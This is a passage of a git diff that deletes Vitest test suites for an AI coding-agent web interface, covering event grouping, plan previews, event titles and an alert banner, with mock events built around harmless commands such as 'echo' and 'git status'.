expect(splitInlineThink(content)).toEqual({ - reasoning: "", - message: content, - }); - }); - - it("leaves an unclosed mid-message untouched", () => { - const content = "See the tag for details."; - expect(splitInlineThink(content)).toEqual({ - reasoning: "", - message: content, - }); - }); - - it("does not extract a block that follows real message text", () => { - const content = "Here is an example: not reasoning done."; - expect(splitInlineThink(content)).toEqual({ - reasoning: "", - message: content, - }); - }); -}); diff --git a/__tests__/components/conversation-events/chat/group-events.test.ts b/__tests__/components/conversation-events/chat/group-events.test.ts deleted file mode 100644 index 94900dccb..000000000 --- a/__tests__/components/conversation-events/chat/group-events.test.ts +++ /dev/null @@ -1,415 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { - groupEvents, - isGroupableEvent, - EVENT_GROUP_MIN_SIZE, -} from "#/components/conversation-events/chat/group-events"; -import { - ActionEvent, - AgentErrorEvent, - HookExecutionEvent, - MessageEvent, - ObservationEvent, - SecurityRisk, -} from "#/types/agent-server/core"; -import { TextContent } from "#/types/agent-server/core/base/common"; -import { - ExecuteBashAction, - FinishAction, - ThinkAction, -} from "#/types/agent-server/core/base/action"; -import { - ExecuteBashObservation, - PlanningFileEditorObservation, - TaskTrackerObservation, -} from "#/types/agent-server/core/base/observation"; - -const makeBashAction = ( - id: string, - thought: TextContent[] = [], -): ActionEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "agent", - thought, - thinking_blocks: [], - action: { - kind: "ExecuteBashAction", - command: `echo ${id}`, - is_input: false, - timeout: null, - reset: false, - }, - tool_name: "execute_bash", - tool_call_id: `call_${id}`, - tool_call: { - id: `call_${id}`, - type: "function", - function: { - name: "execute_bash", - arguments: JSON.stringify({ command: `echo ${id}` }), - }, - }, - llm_response_id: `response_${id}`, - security_risk: SecurityRisk.UNKNOWN, -}); - -const makeBashObservation = ( - id: string, - actionId: string, -): ObservationEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "environment", - tool_name: "execute_bash", - tool_call_id: `call_${actionId}`, - action_id: actionId, - observation: { - kind: "ExecuteBashObservation", - content: [{ type: "text", text: "ok" }], - command: `echo ${actionId}`, - exit_code: 0, - error: false, - timeout: false, - metadata: {} as never, - }, -}); - -const makeUserMessage = (id: string): MessageEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "user", - llm_message: { - role: "user", - content: [{ type: "text", text: "hi" }], - }, - activated_microagents: [], - extended_content: [], -}); - -const makeFinishAction = (id: string): ActionEvent => ({ - ...makeBashAction(id), - action: { kind: "FinishAction", message: "all done" }, -}); - -const makeThinkAction = (id: string): ActionEvent => ({ - ...makeBashAction(id), - action: { kind: "ThinkAction", thought: "thinking" }, -}); - -const makePlanObs = ( - id: string, - actionId: string, -): ObservationEvent => ({ - ...makeBashObservation(id, actionId), - observation: { - kind: "PlanningFileEditorObservation", - content: [{ type: "text", text: "plan" }], - } as PlanningFileEditorObservation, -}); - -const makeTaskTrackerObservation = ( - id: string, - actionId: string, -): ObservationEvent => ({ - ...makeBashObservation(id, actionId), - observation: { - kind: "TaskTrackerObservation", - content: "task list", - command: "plan", - task_list: [{ title: "Task", notes: "Notes", status: "todo" }], - }, -}); - -const makeAgentErrorEvent = (id: string): AgentErrorEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "agent", - tool_name: "execute_bash", - tool_call_id: `call_${id}`, - error: "boom", -}); - -const makeHookExecutionEvent = (id: string): HookExecutionEvent => ({ - id, - timestamp: new Date().toISOString(), - kind: "HookExecutionEvent", - source: "hook", - hook_event_type: "PreToolUse", - hook_command: "echo hook", - success: true, - blocked: false, - exit_code: 0, - reason: null, - tool_name: "execute_bash", - action_id: "a1", - message_id: null, - stdout: "", - stderr: "", - error: null, - additional_context: null, - hook_input: null, -}); - -describe("isGroupableEvent", () => { - it("groups regular action events", () => { - expect(isGroupableEvent(makeBashAction("a1"))).toBe(true); - }); - - it("groups regular observation events", () => { - expect(isGroupableEvent(makeBashObservation("o1", "a1"))).toBe(true); - }); - - it("does not group user messages", () => { - expect(isGroupableEvent(makeUserMessage("m1"))).toBe(false); - }); - - it("does not group FinishAction", () => { - expect(isGroupableEvent(makeFinishAction("a1"))).toBe(false); - }); - - it("does not group ThinkAction", () => { - expect(isGroupableEvent(makeThinkAction("a1"))).toBe(false); - }); - - it("does not group PlanningFileEditorObservation", () => { - expect(isGroupableEvent(makePlanObs("o1", "a1"))).toBe(false); - }); - - it("does not group TaskTrackerObservation", () => { - expect(isGroupableEvent(makeTaskTrackerObservation("o1", "a1"))).toBe(false); - }); - - it("does not group AgentErrorEvent", () => { - expect(isGroupableEvent(makeAgentErrorEvent("e1"))).toBe(false); - }); - - it("does not group HookExecutionEvent", () => { - expect(isGroupableEvent(makeHookExecutionEvent("h1"))).toBe(false); - }); -}); - -describe("groupEvents", () => { - it("returns an empty list for no events", () => { - expect(groupEvents([])).toEqual([]); - }); - - it("requires minSize to be at least 1", () => { - expect(() => groupEvents([], 0)).toThrow("minSize must be at least 1"); - }); - - it("emits singles when there are not enough actions in a row", () => { - const events = [ - makeUserMessage("m1"), - makeBashObservation("o1", "a1"), - makeUserMessage("m2"), - ]; - - // 1 < EVENT_GROUP_MIN_SIZE (2), so the lone observation stays a single. - const result = groupEvents(events); - expect(result.every((item) => item.kind === "single")).toBe(true); - expect(result).toHaveLength(3); - }); - - it("groups even a pair of consecutive actions", () => { - const events = [ - makeUserMessage("m1"), - makeBashObservation("o1", "a1"), - makeBashObservation("o2", "a2"), - makeUserMessage("m2"), - ]; - - // 2 == EVENT_GROUP_MIN_SIZE (2), so the pair folds into a group. - const result = groupEvents(events); - expect(result).toHaveLength(3); - expect(result[0]).toMatchObject({ kind: "single", index: 0 }); - expect(result[1]).toMatchObject({ kind: "group", startIndex: 1 }); - if (result[1].kind === "group") { - expect(result[1].events).toHaveLength(2); - } - expect(result[2]).toMatchObject({ kind: "single", index: 3 }); - }); - - it("groups runs of >= EVENT_GROUP_MIN_SIZE events", () => { - const events = [ - makeUserMessage("m1"), - makeBashObservation("o1", "a1"), - makeBashObservation("o2", "a2"), - makeBashObservation("o3", "a3"), - makeBashObservation("o4", "a4"), - makeUserMessage("m2"), - ]; - - const result = groupEvents(events); - // user, group(4), user - expect(result).toHaveLength(3); - expect(result[0]).toMatchObject({ kind: "single", index: 0 }); - expect(result[1]).toMatchObject({ kind: "group", startIndex: 1 }); - if (result[1].kind === "group") { - expect(result[1].events).toHaveLength(4); - } - expect(result[2]).toMatchObject({ kind: "single", index: 5 }); - }); - - it("includes a still-pending action in the group", () => { - // Last action hasn't been replaced by an observation yet -> the group - // should still include it so the header can show a running indicator. - const events = [ - makeBashObservation("o1", "a1"), - makeBashObservation("o2", "a2"), - makeBashAction("a3"), - ]; - - const result = groupEvents(events); - expect(result).toHaveLength(1); - expect(result[0].kind).toBe("group"); - if (result[0].kind === "group") { - expect(result[0].events).toHaveLength(3); - } - }); - - it("breaks the group when a non-groupable event interrupts", () => { - const events = [ - makeBashObservation("o1", "a1"), - makeBashObservation("o2", "a2"), - makeBashObservation("o3", "a3"), - makeUserMessage("m1"), - makeBashObservation("o4", "a4"), - makeBashObservation("o5", "a5"), - makeBashObservation("o6", "a6"), - ]; - - const result = groupEvents(events); - expect(result).toHaveLength(3); - expect(result[0].kind).toBe("group"); - expect(result[1].kind).toBe("single"); - expect(result[2].kind).toBe("group"); - }); - - it("respects a custom minSize", () => { - const events = [ - makeBashObservation("o1", "a1"), - makeBashObservation("o2", "a2"), - ]; - - const grouped = groupEvents(events, 2); - expect(grouped).toHaveLength(1); - expect(grouped[0].kind).toBe("group"); - }); - - it("hoists an action's thought into a separate item and starts a new group", () => { - // First three actions have no thought, then a fourth action carries a - // thought, then two more actions follow. The thought should break the - // first group and open a new one starting with the thought-bearing - // action. - const a1 = makeBashAction("a1"); - const a2 = makeBashAction("a2"); - const a3 = makeBashAction("a3"); - const a4 = makeBashAction("a4", [ - { type: "text", text: "Let me check tests for the new conversation button:" }, - ]); - const a5 = makeBashAction("a5"); - const a6 = makeBashAction("a6"); - - const events = [ - makeBashObservation("o1", "a1"), - makeBashObservation("o2", "a2"), - makeBashObservation("o3", "a3"), - makeBashObservation("o4", "a4"), - makeBashObservation("o5", "a5"), - makeBashObservation("o6", "a6"), - ]; - const allEvents = [a1, a2, a3, ...events.slice(0, 3), a4, a5, a6, ...events.slice(3)]; - - const result = groupEvents(events, undefined, allEvents); - - // group(o1..o3), thought(a4), group(o4..o6) - expect(result).toHaveLength(3); - expect(result[0].kind).toBe("group"); - expect(result[1].kind).toBe("thought"); - expect(result[2].kind).toBe("group"); - - if (result[0].kind === "group") { - expect(result[0].events).toHaveLength(3); - } - if (result[1].kind === "thought") { - expect(result[1].action.id).toBe("a4"); - } - if (result[2].kind === "group") { - expect(result[2].events).toHaveLength(3); - } - }); - - it("hoists thoughts attached to action events that haven't been observed yet", () => { - const events = [ - makeBashAction("a1"), - makeBashAction("a2"), - makeBashAction("a3", [{ type: "text", text: "thinking out loud" }]), - ]; - - const result = groupEvents(events); - - // a1 + a2 group together (>= min size of 2), then the thought is hoisted - // out before a3, leaving a3 as a single. - expect(result.map((item) => item.kind)).toEqual([ - "group", - "thought", - "single", - ]); - }); - - it("does not emit the same thought twice when both action and observation are present", () => { - const action = makeBashAction("a1", [ - { type: "text", text: "thinking out loud" }, - ]); - const observation = makeBashObservation("o1", "a1"); - - const result = groupEvents( - [action, observation], - undefined, - [action, observation], - ); - - expect(result.map((item) => item.kind)).toEqual(["thought", "group"]); - if (result[1].kind === "group") { - expect(result[1].events).toEqual([action, observation]); - } - }); - - it("ignores empty thoughts", () => { - const events = [ - makeBashAction("a1", [{ type: "text", text: " " }]), - makeBashAction("a2"), - makeBashAction("a3"), - ]; - - const result = groupEvents(events); - - // Whitespace-only thought should not break the group. - expect(result).toHaveLength(1); - expect(result[0].kind).toBe("group"); - }); - - it("does not hoist a ThinkAction's thought (it has its own rendering)", () => { - const events = [ - makeBashAction("a1"), - makeBashAction("a2"), - makeBashAction("a3"), - makeThinkAction("t1"), - makeBashAction("a4"), - makeBashAction("a5"), - makeBashAction("a6"), - ]; - - const result = groupEvents(events); - - // ThinkAction breaks the run as a single (it isn't groupable), but no - // additional "thought" item should be emitted for it because the - // ThinkAction's body already renders the thought. - expect(result.map((item) => item.kind)).toEqual([ - "group", - "single", - "group", - ]); - }); -}); diff --git a/__tests__/components/conversation-events/chat/hooks/use-plan-preview-events.test.ts b/__tests__/components/conversation-events/chat/hooks/use-plan-preview-events.test.ts deleted file mode 100644 index 9a55ba70f..000000000 --- a/__tests__/components/conversation-events/chat/hooks/use-plan-preview-events.test.ts +++ /dev/null @@ -1,221 +0,0 @@ -import { renderHook } from "@testing-library/react"; -import { describe, expect, it } from "vitest"; -import { - usePlanPreviewEvents, - shouldShowPlanPreview, -} from "#/components/conversation-events/chat/hooks/use-plan-preview-events"; -import { - OpenHandsEvent, - MessageEvent, - ObservationEvent, - PlanningFileEditorObservation, -} from "#/types/agent-server/core"; - -// Helper to create a user message event -const createUserMessageEvent = (id: string): MessageEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "user", - llm_message: { - role: "user", - content: [{ type: "text", text: "User message" }], - }, - activated_microagents: [], - extended_content: [], -}); - -// Helper to create a PlanningFileEditorObservation event -const createPlanningObservationEvent = ( - id: string, - actionId: string = "action-1", - path: string = "/workspace/PLAN.md", -): ObservationEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "environment", - tool_name: "planning_file_editor", - tool_call_id: "call-1", - action_id: actionId, - observation: { - kind: "PlanningFileEditorObservation", - content: [{ type: "text", text: "Plan content" }], - is_error: false, - command: "create", - path, - prev_exist: false, - old_content: null, - new_content: "Plan content", - }, -}); - -// Helper to create a non-planning observation event -const createOtherObservationEvent = (id: string): ObservationEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "environment", - tool_name: "execute_bash", - tool_call_id: "call-1", - action_id: "action-1", - observation: { - kind: "ExecuteBashObservation", - content: [{ type: "text", text: "output" }], - command: "echo test", - exit_code: 0, - error: false, - timeout: false, - metadata: { - exit_code: 0, - pid: 12345, - username: "user", - hostname: "localhost", - working_dir: "/home/user", - py_interpreter_path: null, - prefix: "", - suffix: "", - }, - }, -}); - -describe("usePlanPreviewEvents", () => { - it("should return empty set when no events provided", () => { - const { result } = renderHook(() => usePlanPreviewEvents([])); - - expect(result.current).toBeInstanceOf(Set); - expect(result.current.size).toBe(0); - }); - - it("should return empty set when no PlanningFileEditorObservation events exist", () => { - const events: OpenHandsEvent[] = [ - createUserMessageEvent("user-1"), - createOtherObservationEvent("obs-1"), - ]; - - const { result } = renderHook(() => usePlanPreviewEvents(events)); - - expect(result.current.size).toBe(0); - }); - - it("should return event ID for single PlanningFileEditorObservation in one phase", () => { - const events: OpenHandsEvent[] = [ - createUserMessageEvent("user-1"), - createPlanningObservationEvent("plan-obs-1"), - ]; - - const { result } = renderHook(() => usePlanPreviewEvents(events)); - - expect(result.current.size).toBe(1); - expect(result.current.has("plan-obs-1")).toBe(true); - }); - - it("should return only the last PlanningFileEditorObservation when multiple exist in one phase", () => { - const events: OpenHandsEvent[] = [ - createUserMessageEvent("user-1"), - createPlanningObservationEvent("plan-obs-1"), - createPlanningObservationEvent("plan-obs-2"), - createPlanningObservationEvent("plan-obs-3"), - createOtherObservationEvent("other-obs-1"), - ]; - - const { result } = renderHook(() => usePlanPreviewEvents(events)); - - // Should only include the last one in the phase - expect(result.current.size).toBe(1); - expect(result.current.has("plan-obs-1")).toBe(false); - expect(result.current.has("plan-obs-2")).toBe(false); - expect(result.current.has("plan-obs-3")).toBe(true); - }); - - it("should return one event ID per phase when multiple phases exist", () => { - const events: OpenHandsEvent[] = [ - createUserMessageEvent("user-1"), - createPlanningObservationEvent("plan-obs-1"), - createPlanningObservationEvent("plan-obs-2"), - createUserMessageEvent("user-2"), - createPlanningObservationEvent("plan-obs-3"), - createPlanningObservationEvent("plan-obs-4"), - ]; - - const { result } = renderHook(() => usePlanPreviewEvents(events)); - - // Should have one preview per phase (last observation in each phase) - expect(result.current.size).toBe(2); - expect(result.current.has("plan-obs-2")).toBe(true); // Last in phase 1 - expect(result.current.has("plan-obs-4")).toBe(true); // Last in phase 2 - expect(result.current.has("plan-obs-1")).toBe(false); - expect(result.current.has("plan-obs-3")).toBe(false); - }); - - it("should handle phase with no PlanningFileEditorObservation", () => { - const events: OpenHandsEvent[] = [ - createUserMessageEvent("user-1"), - createOtherObservationEvent("obs-1"), - createUserMessageEvent("user-2"), - createPlanningObservationEvent("plan-obs-1"), - ]; - - const { result } = renderHook(() => usePlanPreviewEvents(events)); - - // Only phase 2 has a planning observation - expect(result.current.size).toBe(1); - expect(result.current.has("plan-obs-1")).toBe(true); - }); - - it("should handle events starting with non-user message", () => { - const events: OpenHandsEvent[] = [ - createOtherObservationEvent("obs-1"), - createUserMessageEvent("user-1"), - createPlanningObservationEvent("plan-obs-1"), - ]; - - const { result } = renderHook(() => usePlanPreviewEvents(events)); - - // Events before first user message should be in first phase - expect(result.current.size).toBe(1); - expect(result.current.has("plan-obs-1")).toBe(true); - }); - - it("should exclude PlanningFileEditorObservation for non-Plan.md paths", () => { - const events: OpenHandsEvent[] = [ - createUserMessageEvent("user-1"), - createPlanningObservationEvent("plan-obs-1", "action-1", "settings.py"), - createPlanningObservationEvent("plan-obs-2", "action-2", "use-add-mcp.ts"), - ]; - - const { result } = renderHook(() => usePlanPreviewEvents(events)); - - expect(result.current.size).toBe(0); - }); - - it("should include only Plan.md observations when mixed with other file edits", () => { - const events: OpenHandsEvent[] = [ - createUserMessageEvent("user-1"), - createPlanningObservationEvent("plan-obs-1", "action-1", "settings.py"), - createPlanningObservationEvent("plan-obs-2", "action-2", "/workspace/PLAN.md"), - ]; - - const { result } = renderHook(() => usePlanPreviewEvents(events)); - - expect(result.current.size).toBe(1); - expect(result.current.has("plan-obs-2")).toBe(true); - }); -}); - -describe("shouldShowPlanPreview", () => { - it("should return true when event ID is in the set", () => { - const planPreviewEventIds = new Set(["event-1", "event-2", "event-3"]); - - expect(shouldShowPlanPreview("event-2", planPreviewEventIds)).toBe(true); - }); - - it("should return false when event ID is not in the set", () => { - const planPreviewEventIds = new Set(["event-1", "event-2"]); - - expect(shouldShowPlanPreview("event-3", planPreviewEventIds)).toBe(false); - }); - - it("should return false when set is empty", () => { - const planPreviewEventIds = new Set(); - - expect(shouldShowPlanPreview("event-1", planPreviewEventIds)).toBe(false); - }); -}); diff --git a/__tests__/components/conversation-events/chat/messages-model-messages.test.tsx b/__tests__/components/conversation-events/chat/messages-model-messages.test.tsx deleted file mode 100644 index 72fa22afb..000000000 --- a/__tests__/components/conversation-events/chat/messages-model-messages.test.tsx +++ /dev/null @@ -1,79 +0,0 @@ -import { screen } from "@testing-library/react"; -import { beforeEach, describe, expect, it } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { Messages } from "#/components/conversation-events/chat/messages"; -import { useModelStore } from "#/stores/model-store"; -import { ActionEvent, SecurityRisk } from "#/types/agent-server/core"; -import { ExecuteBashAction } from "#/types/agent-server/core/base/action"; -import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event"; - -const CONVERSATION_ID = "test-conversation-id"; - -const makeBashAction = (id: string): ActionEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "agent", - thought: [], - thinking_blocks: [], - action: { - kind: "ExecuteBashAction", - command: `echo ${id}`, - is_input: false, - timeout: null, - reset: false, - }, - tool_name: "execute_bash", - tool_call_id: `call_${id}`, - tool_call: { - id: `call_${id}`, - type: "function", - function: { - name: "execute_bash", - arguments: JSON.stringify({ command: `echo ${id}` }), - }, - }, - llm_response_id: `response_${id}`, - security_risk: SecurityRisk.UNKNOWN, -}); - -const makeStreamingDelta = (content: string): StreamingDeltaEvent => ({ - id: "delta-1", - timestamp: "2026-06-12T12:00:00Z", - source: "agent", - kind: "StreamingDeltaEvent", - content, - reasoning_content: null, -}); - -describe("Messages model entries", () => { - beforeEach(() => { - useModelStore.setState({ entriesByConversation: {} }); - }); - - it("renders model entries anchored to non-last events inside grouped runs", () => { - const first = makeBashAction("action-1"); - const second = makeBashAction("action-2"); - useModelStore.getState().show(CONVERSATION_ID, first.id, []); - - renderWithProviders( - , - ); - - expect(screen.getByTestId("model-messages")).toBeInTheDocument(); - }); - - it("rerenders when a streaming delta is compacted under the same event id", () => { - const firstDelta = makeStreamingDelta("First"); - const mergedDelta = makeStreamingDelta("First second third"); - - const { rerender } = renderWithProviders( - , - ); - - expect(screen.getByText("First")).toBeInTheDocument(); - - rerender(); - - expect(screen.getByText("First second third")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/conversation-events/get-event-content.test.tsx b/__tests__/components/conversation-events/get-event-content.test.tsx deleted file mode 100644 index 44eefa10a..000000000 --- a/__tests__/components/conversation-events/get-event-content.test.tsx +++ /dev/null @@ -1,395 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it } from "vitest"; -import { - CANVAS_UI_CLIENT_ACTION_KIND, - CANVAS_UI_CLIENT_TOOL_NAME, -} from "#/constants/canvas-ui"; -import { getEventContent } from "#/components/conversation-events/chat"; -import { - ActionEvent, - ObservationEvent, - SecurityRisk, -} from "#/types/agent-server/core"; - -const terminalActionEvent: ActionEvent = { - id: "action-1", - timestamp: new Date().toISOString(), - source: "agent", - thought: [{ type: "text", text: "Checking repository status." }], - thinking_blocks: [], - action: { - kind: "TerminalAction", - command: "git status", - is_input: false, - timeout: null, - reset: false, - }, - tool_name: "terminal", - tool_call_id: "tool-1", - tool_call: { - id: "tool-1", - type: "function", - function: { - name: "terminal", - arguments: '{"command":"git status"}', - }, - }, - llm_response_id: "response-1", - security_risk: SecurityRisk.LOW, - summary: "Check repository status", -}; - -const terminalObservationEvent: ObservationEvent = { - id: "obs-1", - timestamp: new Date().toISOString(), - source: "environment", - tool_name: "terminal", - tool_call_id: "tool-1", - action_id: "action-1", - observation: { - kind: "TerminalObservation", - content: [{ type: "text", text: "On branch main" }], - command: "git status", - exit_code: 0, - is_error: false, - timeout: false, - metadata: { - exit_code: 0, - pid: 1, - username: "openhands", - hostname: "runtime", - prefix: "", - suffix: "", - working_dir: "/workspace/project/OpenHands", - py_interpreter_path: null, - }, - }, -}; - -describe("getEventContent", () => { - it("uses the action summary as the full action title", () => { - const { title } = getEventContent(terminalActionEvent); - - render({title}); - - expect(screen.getByText("Check repository status")).toBeInTheDocument(); - expect(screen.queryByText("$ git status")).not.toBeInTheDocument(); - }); - - it("falls back to command-based title when summary is missing", () => { - const actionWithoutSummary = { ...terminalActionEvent, summary: undefined }; - const { title } = getEventContent(actionWithoutSummary); - - render({title}); - - // Without i18n loaded, the translation key renders as the raw key - expect(screen.getByText("ACTION_MESSAGE$RUN")).toBeInTheDocument(); - expect( - screen.queryByText("Check repository status"), - ).not.toBeInTheDocument(); - }); - - it("ignores the agent-server fallback summary ('tool_name: {args}') and uses the action-kind title", () => { - // The SDK's `_extract_summary` emits `f"{tool_name}: {json}"` when the - // LLM omits a summary. That blob should not be shown as the title. - const actionWithFallbackSummary = { - ...terminalActionEvent, - summary: 'terminal: {"command":"git status"}', - }; - const { title } = getEventContent(actionWithFallbackSummary); - - render({title}); - - expect(screen.getByText("ACTION_MESSAGE$RUN")).toBeInTheDocument(); - expect( - screen.queryByText('terminal: {"command":"git status"}'), - ).not.toBeInTheDocument(); - }); - - it("ignores fallback summary on the paired observation as well", () => { - const actionWithFallbackSummary = { - ...terminalActionEvent, - summary: 'terminal: {"command":"git status"}', - }; - const { title } = getEventContent( - terminalObservationEvent, - actionWithFallbackSummary, - ); - - render({title}); - - expect(screen.getByText("OBSERVATION_MESSAGE$RUN")).toBeInTheDocument(); - expect( - screen.queryByText('terminal: {"command":"git status"}'), - ).not.toBeInTheDocument(); - }); - - it("renders a file view action through the file-editor visualizer", () => { - const fileViewAction: ActionEvent = { - id: "action-2", - timestamp: new Date().toISOString(), - source: "agent", - thought: [], - thinking_blocks: [], - action: { - kind: "FileEditorAction", - command: "view", - path: "/workspace/README.md", - file_text: null, - old_str: null, - new_str: null, - insert_line: null, - view_range: null, - }, - tool_name: "file_editor", - tool_call_id: "tool-2", - tool_call: { - id: "tool-2", - type: "function", - function: { - name: "file_editor", - arguments: '{"command":"view","path":"/workspace/README.md"}', - }, - }, - llm_response_id: "response-2", - security_risk: SecurityRisk.LOW, - }; - - const { title, details } = getEventContent(fileViewAction); - - render({title}); - expect(screen.getByText("ACTION_MESSAGE$READ")).toBeInTheDocument(); - // FileEditor is now migrated to a React visualizer: details is a node that - // renders the file-path chip rather than the old empty markdown string. - expect(typeof details).not.toBe("string"); - render(
{details}
); - expect(screen.getByText("/workspace/README.md")).toBeInTheDocument(); - }); - - it("shows action kind for action-like events missing tool_name/tool_call_id", () => { - // Simulate an event that has an action object but fails the strict isActionEvent() guard - const malformedEvent = { - id: "action-3", - timestamp: new Date().toISOString(), - source: "agent" as const, - action: { kind: "FileEditorAction" }, - }; - - const { title, details } = getEventContent(malformedEvent as any); - - expect(title).toBe("FILEEDITOR"); - expect(details).toBe(""); - }); - - it("reuses the action summary as the full paired observation title", () => { - const { title } = getEventContent( - terminalObservationEvent, - terminalActionEvent, - ); - - render({title}); - - expect(screen.getByText("Check repository status")).toBeInTheDocument(); - expect(screen.queryByText("$ git status")).not.toBeInTheDocument(); - }); - - it("renders InvokeSkillAction with the skill name instead of 'INVOKESKILL'", () => { - const invokeSkillAction: ActionEvent = { - id: "action-skill", - timestamp: new Date().toISOString(), - source: "agent", - thought: [], - thinking_blocks: [], - action: { - kind: "InvokeSkillAction", - name: "worktree-switch", - }, - tool_name: "invoke_skill", - tool_call_id: "tool-skill", - tool_call: { - id: "tool-skill", - type: "function", - function: { - name: "invoke_skill", - arguments: '{"name":"worktree-switch"}', - }, - }, - llm_response_id: "response-skill", - security_risk: SecurityRisk.LOW, - }; - - const { title, details } = getEventContent(invokeSkillAction); - - render({title}); - // Without i18n loaded, the translation key renders as the raw key — - // the important thing is that we no longer fall back to "INVOKESKILL". - expect(screen.getByText("ACTION_MESSAGE$INVOKE_SKILL")).toBeInTheDocument(); - expect(screen.queryByText("INVOKESKILL")).not.toBeInTheDocument(); - expect(details).toContain("worktree-switch"); - }); - - it("renders InvokeSkillObservation with the skill name", () => { - const invokeSkillObservation: ObservationEvent = { - id: "obs-skill", - timestamp: new Date().toISOString(), - source: "environment", - tool_name: "invoke_skill", - tool_call_id: "tool-skill", - action_id: "action-skill", - observation: { - kind: "InvokeSkillObservation", - skill_name: "worktree-switch", - content: [{ type: "text", text: "# Skill content" }], - }, - }; - - const { title, details } = getEventContent(invokeSkillObservation); - - render({title}); - expect( - screen.getByText("OBSERVATION_MESSAGE$INVOKE_SKILL"), - ).toBeInTheDocument(); - expect(screen.queryByText("INVOKESKILL")).not.toBeInTheDocument(); - expect(details).toContain("worktree-switch"); - expect(details).toContain("# Skill content"); - }); - - it("titles a TaskAction with the subagent and shows the query", () => { - const taskAction: ActionEvent = { - id: "act-task", - timestamp: new Date().toISOString(), - source: "agent", - thought: [], - thinking_blocks: [], - tool_name: "task", - tool_call_id: "tool-task", - action: { - kind: "TaskAction", - prompt: "Summarize the README", - subagent_type: "code-explorer", - }, - } as unknown as ActionEvent; - - const { title } = getEventContent(taskAction); - - render({title}); - expect(screen.getByText("ACTION_MESSAGE$TASK")).toBeInTheDocument(); - expect(screen.queryByText("TASK")).not.toBeInTheDocument(); - }); - - it("titles a TaskObservation with the subagent", () => { - const taskObservation: ObservationEvent = { - id: "obs-task", - timestamp: new Date().toISOString(), - source: "environment", - tool_name: "task", - tool_call_id: "tool-task", - action_id: "act-task", - observation: { - kind: "TaskObservation", - content: [{ type: "text", text: "All done." }], - is_error: false, - task_id: "task_00000001", - subagent: "code-explorer", - status: "completed", - }, - }; - - const { title } = getEventContent(taskObservation); - - render({title}); - expect(screen.getByText("OBSERVATION_MESSAGE$TASK")).toBeInTheDocument(); - // The body is rendered by the task visualizer (covered in task.test.tsx), - // so only the title is asserted here. - }); - - it("renders CanvasUIObservation as just its acknowledgement text", () => { - const canvasUIObservation: ObservationEvent = { - id: "obs-canvas", - timestamp: new Date().toISOString(), - source: "environment", - tool_name: "canvas_ui", - tool_call_id: "tool-canvas", - action_id: "action-canvas", - observation: { - kind: "CanvasUIObservation", - content: [ - { - type: "text", - text: "UI command 'open_tab' dispatched to the Agent Canvas frontend.", - }, - ], - is_error: false, - }, - }; - - const { title, details } = getEventContent(canvasUIObservation); - - render({title}); - expect( - screen.getByText("OBSERVATION_MESSAGE$CANVAS_UI"), - ).toBeInTheDocument(); - // The body is exactly the acknowledgement text, not a JSON dump. - expect(details).toBe( - "UI command 'open_tab' dispatched to the Agent Canvas frontend.", - ); - }); - - it("renders client-defined Canvas UI events like legacy events", () => { - const canvasUIAction: ActionEvent = { - id: "action-canvas-client", - timestamp: new Date().toISOString(), - source: "agent", - thought: [], - thinking_blocks: [], - action: { - kind: CANVAS_UI_CLIENT_ACTION_KIND, - command: "open_tab", - path: null, - tab: "files", - }, - tool_name: CANVAS_UI_CLIENT_TOOL_NAME, - tool_call_id: "tool-canvas-client", - tool_call: { - id: "tool-canvas-client", - type: "function", - function: { - name: CANVAS_UI_CLIENT_TOOL_NAME, - arguments: '{"command":"open_tab","tab":"files"}', - }, - }, - llm_response_id: "response-canvas-client", - security_risk: SecurityRisk.LOW, - summary: "", - }; - const canvasUIObservation: ObservationEvent = { - id: "obs-canvas-client", - timestamp: new Date().toISOString(), - source: "environment", - tool_name: CANVAS_UI_CLIENT_TOOL_NAME, - tool_call_id: "tool-canvas-client", - action_id: "action-canvas-client", - observation: { - kind: "ClientToolObservation", - content: [{ type: "text", text: "Tool call dispatched to client." }], - is_error: false, - }, - }; - - const actionContent = getEventContent(canvasUIAction); - render({actionContent.title}); - expect(screen.getByText("CANVASUI")).toBeInTheDocument(); - - const { title, details } = getEventContent( - canvasUIObservation, - canvasUIAction, - ); - render({title}); - expect( - screen.getByText("OBSERVATION_MESSAGE$CANVAS_UI"), - ).toBeInTheDocument(); - expect(details).toBe( - "UI command 'open_tab' dispatched to the Agent Canvas frontend.", - ); - }); -}); diff --git a/__tests__/components/features/alerts/alert-banner.test.tsx b/__tests__/components/features/alerts/alert-banner.test.tsx deleted file mode 100644 index 3ddceb19b..000000000 --- a/__tests__/components/features/alerts/alert-banner.test.tsx +++ /dev/null @@ -1,287 +0,0 @@ -import { fireEvent, render, screen, within } from "@testing-library/react"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { act } from "react"; -import { MemoryRouter } from "react-router"; -import { AlertBanner } from "#/components/features/alerts/alert-banner"; - -// Mock react-i18next -vi.mock("react-i18next", async () => { - const actual = - await vi.importActual("react-i18next"); - return { - ...actual, - useTranslation: () => ({ - t: (key: string, options?: { time?: string }) => { - const translations: Record = { - MAINTENANCE$SCHEDULED_MESSAGE: `Scheduled maintenance will begin at ${options?.time || "{{time}}"}`, - ALERT$FAULTY_MODELS_MESSAGE: - "The following models are currently reporting errors:", - "ERROR$TRANSLATED_KEY": "This is a translated error message", - }; - return translations[key] || key; - }, - }), - }; -}); - -describe("AlertBanner", () => { - afterEach(() => { - localStorage.clear(); - }); - - describe("Maintenance alerts", () => { - it("renders maintenance banner with formatted time", () => { - const startTime = "2024-01-15T10:00:00-05:00"; - const updatedAt = "2024-01-14T10:00:00Z"; - - const { container } = render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - expect(banner).toBeInTheDocument(); - - const svgIcon = container.querySelector("svg"); - expect(svgIcon).toBeInTheDocument(); - - const button = within(banner!).queryByTestId("dismiss-button"); - expect(button).toBeInTheDocument(); - }); - - it("click on dismiss button removes banner", () => { - const startTime = "2024-01-15T10:00:00-05:00"; - const updatedAt = 